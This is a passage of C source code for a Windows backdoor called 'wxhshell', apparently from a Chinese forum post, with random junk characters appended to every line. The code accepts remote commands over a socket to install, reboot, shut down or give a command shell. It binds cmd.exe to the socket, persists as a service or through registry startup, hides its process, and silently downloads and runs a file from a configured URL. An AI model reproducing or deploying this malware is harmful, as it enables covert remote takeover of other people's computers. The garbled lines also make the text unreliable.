  j_uY8c>3\q  
  // 帮助 *2 $m>N  
  case '?': { #'Y6UGJ\n  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LY!3u0PnlT  
    break; (Zn3-t*  
  } :$Q]U2$mPS  
  // 安装 `[` *@O(y  
  case 'i': { A;j$rGx  
    if(Install()) FJ,\?ooGf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %802H%+  
    else rn[}{1I33Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xa%&.&V  
    break; us,,W(q  
    } C+]q  
  // 卸载 xKLcd+hCZ  
  case 'r': { |XA aKZA  
    if(Uninstall()) t2%@py*bU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B0XBI0w^Y  
    else WlRZ|.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &T/q0bwd  
    break; 0/00 W6r0  
    } (9 z.IH7}k  
  // 显示 wxhshell 所在路径 UNcJ=   
  case 'p': { JvWs/AG1  
    char svExeFile[MAX_PATH]; {S"  
    strcpy(svExeFile,"\n\r"); 2\CkX  
      strcat(svExeFile,ExeFile); ]G o~]7(5|  
        send(wsh,svExeFile,strlen(svExeFile),0); l)rvh#D  
    break; awSS..g}L  
    } @uM3iO7&  
  // 重启 k#:@fH4{PA  
  case 'b': { Hs`#{W{.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m57tO X  
    if(Boot(REBOOT)) (VXx G/E3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I%Po/+|+  
    else { pT;-1c%:  
    closesocket(wsh); "K$Wh1<7  
    ExitThread(0); %f> |fs  
    } [cL U*:  
    break; =.f +}y  
    } >5~Zr$  
  // 关机 73s3-DS,  
  case 'd': { >[%.h(h/%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pGbFg&  
    if(Boot(SHUTDOWN)) v!{'23`87  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7~l  
    else { qfP"UAc{/  
    closesocket(wsh); seqF84Xd<  
    ExitThread(0); 7k#${,k  
    } Dss/>! mN  
    break; zEPx  
    } z1SMQLk  
  // 获取shell rb}wv16?  
  case 's': { 23\j1?  
    CmdShell(wsh); 77&^$JpM  
    closesocket(wsh); 400Tw`AiJ  
    ExitThread(0); ZG \ I1  
    break; Z>w^j.(  
  } vrm{Ql&  
  // 退出 j zmSFKg*  
  case 'x': { \`Ph=lJO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6aF'^6+a  
    CloseIt(wsh); qvfAG 0p  
    break; ekl? K~  
    } x+*L5$;h  
  // 离开 o~.o^0Y  
  case 'q': { $YGIN7_Gg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U3|&Jee  
    closesocket(wsh); .t^UK#@#4  
    WSACleanup(); L4/TI(MP  
    exit(1); F3Ak'h{Ay  
    break; */5<L99v  
        } fdq^!MWTi  
  } 6PQJgki  
  } )*TW\v`B  
kTi PZZI  
  // 提示信息 ]dGr1 ncu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kO,VayjT  
} i^s`6:rNu  
  } ghJ,s|lH  
9?l?G GmQ  
  return; (4{ C7  
} srChY&h?<  
gSv[4,hXd  
// shell模块句柄 L%o65  
int CmdShell(SOCKET sock) Lr24bv\  
{ =N@)CB7a  
STARTUPINFO si; L`HH);Ozw  
ZeroMemory(&si,sizeof(si)); BudWbZ5>Ep  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Fyh?4!/.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T) Zt'M  
PROCESS_INFORMATION ProcessInfo; mS w?2ba  
char cmdline[]="cmd"; An8%7xa7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kh>SrW]B%  
  return 0; \\2k}TsB  
} {sna)v$;  
y[^k*,= 9  
// 自身启动模式 ]4 K1%ZV  
int StartFromService(void) .n)!ZN  
{ az \<sWb#  
typedef struct S-M)MCL  
{ !}L~@[v,uL  
  DWORD ExitStatus; aX[1H6&=7  
  DWORD PebBaseAddress; x '=3&vc4  
  DWORD AffinityMask; P+;CE|J`X  
  DWORD BasePriority; B.Zm$JZ:  
  ULONG UniqueProcessId; veX"CY`hn  
  ULONG InheritedFromUniqueProcessId; z*dQIC  
}   PROCESS_BASIC_INFORMATION; 6 <qwP?WN  
sx[&4 k[  
PROCNTQSIP NtQueryInformationProcess; %eutfM-?6  
2<6`TA*m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ax72ehL}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 20.-;jK  
i!1ho T$  
  HANDLE             hProcess; _\4`  
  PROCESS_BASIC_INFORMATION pbi; D8@n kSP  
EZ%w=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *793H\  
  if(NULL == hInst ) return 0; T]Tdx.B  
fd5ZaE#f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); OD?y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); HvqF@/xh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *%OYAsc  
9k=U0]!ch  
  if (!NtQueryInformationProcess) return 0; I+Ncmg )>  
Xx3 g3P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w'oo-.k  
  if(!hProcess) return 0; z_:eM7]jv  
J0ZxhxX35  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z{,GZT  
!cEbz b  
  CloseHandle(hProcess); <fC@KY>#  
PJxak3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?Y? gzD  
if(hProcess==NULL) return 0; jb|mip@` <  
&dhcKO<4  
HMODULE hMod; kCaO\#ta  
char procName[255]; ,67"C2Y  
unsigned long cbNeeded; A9\]3 LY  
7SgweZ}"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b 0LGH. z4  
DU5:+" u3  
  CloseHandle(hProcess); KP[NuXA`  
GI2eJK  
if(strstr(procName,"services")) return 1; // 以服务启动 "3{#d9Gs  
> 63)z I  
  return 0; // 注册表启动 >lD;0EN  
} (O)\#%,@R  
Q0zW ]a  
// 主模块 uipq=Yp.  
int StartWxhshell(LPSTR lpCmdLine) Usa+b A  
{ jOUK]>ox:  
  SOCKET wsl; DA<F{n.Z:  
BOOL val=TRUE; <Rcu%&;i  
  int port=0; [[R7~.;  
  struct sockaddr_in door; lLb:f6N  
@s_3 0+  
  if(wscfg.ws_autoins) Install(); Ds%9cp*6  
~Cjz29|gp  
port=atoi(lpCmdLine); "w}-?:# j  
X+=-f^)&  
if(port<=0) port=wscfg.ws_port; Nls83 W  
E,{GU  
  WSADATA data; -PNi^ K_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )y9;OA  
Y/. AUN Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &+mV7o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A /q2g7My  
  door.sin_family = AF_INET; ifXW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  !M  
  door.sin_port = htons(port); Ye9Y^+-  
%'Zc2h&z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { , N53Iic  
closesocket(wsl); &4,WG  
return 1; |u@+`4o  
} OF c\fW#  
ojHhT\M`  
  if(listen(wsl,2) == INVALID_SOCKET) { !Y ( apVQ  
closesocket(wsl); 1HMUHZT  
return 1; >\V6+$cNp  
} ]UDd :2yt  
  Wxhshell(wsl); q[7CPE0n  
  WSACleanup(); f}^I=pS&  
\+-zRR0  
return 0; +'%@!  
bS>R5*Zp  
} HF"Eys  
~12_D'8D[  
// 以NT服务方式启动 "`pNH'   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S]}}A  
{ n.*3,4.]  
DWORD   status = 0; \tY"BC4.  
  DWORD   specificError = 0xfffffff; i+g~ Uj}h  
,V,f2W 4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $@_{p*q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 93j{.0]X  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M\Se_  
  serviceStatus.dwWin32ExitCode     = 0; a6%@d_A  
  serviceStatus.dwServiceSpecificExitCode = 0; bW53" `X  
  serviceStatus.dwCheckPoint       = 0; XAe\s`  
  serviceStatus.dwWaitHint       = 0; MDJc[am  
(8.{+8o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j~bAbOX12  
  if (hServiceStatusHandle==0) return; iOXZ ]Xj5  
m`z7fi7u  
status = GetLastError(); nX|Q~x]  
  if (status!=NO_ERROR) NUCiY\td  
{ 1BJ<m5/1%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6B0# 4Qrv  
    serviceStatus.dwCheckPoint       = 0; Gav"C{G  
    serviceStatus.dwWaitHint       = 0; F/>*If s  
    serviceStatus.dwWin32ExitCode     = status; nZfs=@w:y  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;B~P>n}}_]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #ly@;!M  
    return; *m9{V8Yi2  
  } N2BI_,hI1  
^T:gb]i'Qa  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l4rMk^>>  
  serviceStatus.dwCheckPoint       = 0; q/NY72tj0  
  serviceStatus.dwWaitHint       = 0; wJe?t$ac?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yEq#Dr  
} R_^/,^1  
U&UKUACn"  
// 处理NT服务事件,比如:启动、停止 &SH1q_&BQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v!9i"@<!  
{ +`B'r '  
switch(fdwControl) mk!Dozb/  
{ .Pe9_ZH$W  
case SERVICE_CONTROL_STOP: /)EY2Y'  
  serviceStatus.dwWin32ExitCode = 0; ](#&.q%5!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \=;uu_v$  
  serviceStatus.dwCheckPoint   = 0; Iy';x  
  serviceStatus.dwWaitHint     = 0; }XR : 2  
  { "7,FXTaer  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); im]g(#GnKh  
  } Ql%qQ ZV  
  return; ]E3<UR  
case SERVICE_CONTROL_PAUSE: ?<U{{ C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5|I55CTx  
  break; t 9^A(Vh"-  
case SERVICE_CONTROL_CONTINUE: uLQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; cK@jmGj+  
  break; xyA-P& N  
case SERVICE_CONTROL_INTERROGATE: /6K Il  
  break; krB'9r<wa`  
}; ~6aCfbu%V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c+kU o$  
} rY0u|8.5Q  
+ H_WlYg-  
// 标准应用程序主函数 +*}{`L- :  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ; A,#;%j  
{ /KCPpERk{  
]]0,|My7  
// 获取操作系统版本 6G AaV[])'  
OsIsNt=GetOsVer(); n6MM5h/#r  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `_vB+a  
V0*3;n  
  // 从命令行安装 .fYZ*=P;c  
  if(strpbrk(lpCmdLine,"iI")) Install(); _:g&,2bc  
id^sr Mw  
  // 下载执行文件 (;_FIUz0  
if(wscfg.ws_downexe) { J=W0Xi !  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;sPoUn s'  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9H0H u]zM  
} QA#3bFZt1n  
(=4W -z7  
if(!OsIsNt) { ytz SAbj  
// 如果时win9x,隐藏进程并且设置为注册表启动 e:w &(is  
HideProc(); F_;DN: {  
StartWxhshell(lpCmdLine); l [GOs&D1  
} jS.g]k  
else Rp9fO?ZjHt  
  if(StartFromService()) &?,6~qm[  
  // 以服务方式启动 6KZf%)$  
  StartServiceCtrlDispatcher(DispatchTable); <#M`5X.  
else G:W>I=^DaR  
  // 普通方式启动 $wB^R(f@  
  StartWxhshell(lpCmdLine); Bux [6O %  
d[D&J  
return 0; S6d`ioi-  
}
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只看该作者 1 发表于: 2006-10-10
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